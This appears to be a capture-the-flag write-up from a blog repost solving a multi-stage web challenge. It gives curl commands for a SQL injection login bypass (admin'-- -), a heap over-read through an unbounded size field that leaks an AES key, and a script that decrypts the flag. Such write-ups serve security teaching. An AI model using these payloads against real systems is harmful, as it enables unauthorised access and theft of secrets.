Heart Part 7 - dalCTF 2026

Published: (June 8, 2026 at 12:25 AM EDT)
4 min read
Source: Dev.to

Source: Dev.to

Cover image for Heart Part 7 - dalCTF 2026

              [![Yogeshwar Peela](https://media2.dev.to/dynamic/image/width=50,height=50,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg)](https://dev.to/exploitnotes)
              
              
            
      

      
          






        
            

Category: Web

Flag: dalctf{p1mp_p1mp_h00r4y}

Overview

A multi-stage web challenge themed around Kendrick Lamar’s m.A.A.d city / Kung Fu Kenny lore. The attack chain involved:

  • SQL injection to bypass authentication and get an admin JWT

  • Heap memory disclosure via an unbounded echo buffer to leak the AES-256 key

  • Fetching and decrypting the flag using the leaked key and a separate IV field in the API response

    Step 1 - SQL Injection → Admin Session

The /login endpoint was vulnerable to classic SQL injection. Commenting out the password check with -- - bypassed authentication entirely and redirected to /admin with a valid JWT session cookie.

curl -X POST https:///login \
  -d "username=admin'-- -&password=x"
Enter fullscreen mode


Exit fullscreen mode

Response:

HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q
Enter fullscreen mode


Exit fullscreen mode

Decoded JWT payload:

{"username": "admin", "role": "admin"}
Enter fullscreen mode


Exit fullscreen mode

The JWT was signed with a static/weak secret and remained valid for the rest of the challenge.

Step 2 - Heap Memory Leak via Cipher Health Endpoint

The admin panel exposed a /cipher/health endpoint that echoed back a user-controlled buffer padded to size bytes. Sending 1 byte of input with a large size caused the server to fill the remainder with adjacent heap memory — leaking the AES-256 key.

curl -X POST https:///cipher/health \
  -H "Content-Type: application/json" \
  -b "session=" \
  -d '{"data": "A", "size": 100}'
Enter fullscreen mode


Exit fullscreen mode

Response (echo field, base64-decoded):

A[63 null bytes]KENDRICK_MASTER_KEY=
Enter fullscreen mode


Exit fullscreen mode

Extracting the key:

curl -s -X POST https:///cipher/health \
  -H "Content-Type: application/json" \
  -b "session=" \
  -d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"
Enter fullscreen mode


Exit fullscreen mode

Leaked key:

9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d
Enter fullscreen mode


Exit fullscreen mode

The variable name KENDRICK_MASTER_KEY and the service name MAadCipher are both nods to the Kendrick Lamar theme running throughout the challenge.

Step 3 - Fetching the Encrypted Flag

The /api/flag endpoint returned a JSON object. A key mistake early on was only extracting the ciphertext field — the iv was present as a separate field in the response.

curl -s https:///api/flag \
  -b "session="
Enter fullscreen mode


Exit fullscreen mode

Full response:

{
  "algorithm": "AES-256-CBC",
  "ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
  "iv": "fcSvIZ1LMw72z34mvr0O5A==",
  "sealed_by": "MAadCipher v1.0",
  "status": "ok"
}
Enter fullscreen mode


Exit fullscreen mode

Rabbit hole: Treating the first 16 bytes of the ciphertext blob as the IV only decrypted the second AES block, yielding _h00r4y} — the tail of the flag. The correct IV was always in the "iv" field.

Step 4 - Decrypting the Flag

With the leaked key and the correct IV, standard AES-256-CBC decryption recovered the flag.

python3 - <<'EOF'
from base64 import b64decode
import subprocess

KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv  = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct  = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")

result = subprocess.run(
    ["openssl", "enc", "-d", "-aes-256-cbc",
     "-K", KEY, "-iv", iv.hex(), "-nosalt"],
    input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF
Enter fullscreen mode


Exit fullscreen mode

Output:

FLAG: dalctf{p1mp_p1mp_h00r4y}
Enter fullscreen mode


Exit fullscreen mode

Attack Chain Summary

Login page
  └─ SQL injection (admin'-- -)
       └─ Admin JWT session
            └─ /cipher/health heap leak
                 └─ KENDRICK_MASTER_KEY (AES-256 key)
                      └─ /api/flag → ciphertext + iv
                           └─ AES-256-CBC decrypt
                                └─ dalctf{p1mp_p1mp_h00r4y}
Enter fullscreen mode


Exit fullscreen mode

Key Takeaways

Always read the full API response. The IV was in the JSON the whole time - only extracting ciphertext caused the “missing block” rabbit hole.

Unbounded echo buffers leak heap memory. The size parameter had no upper bound, turning the health check into an arbitrary heap read (CWE-126 style out-of-bounds read).

Theme ≠ hint for the flag value. The Kendrick / M.A.A.D / PIMP theme was flavour - the actual flag required proper crypto, not guessing.

0 views
Back to Blog

Related posts

Read more »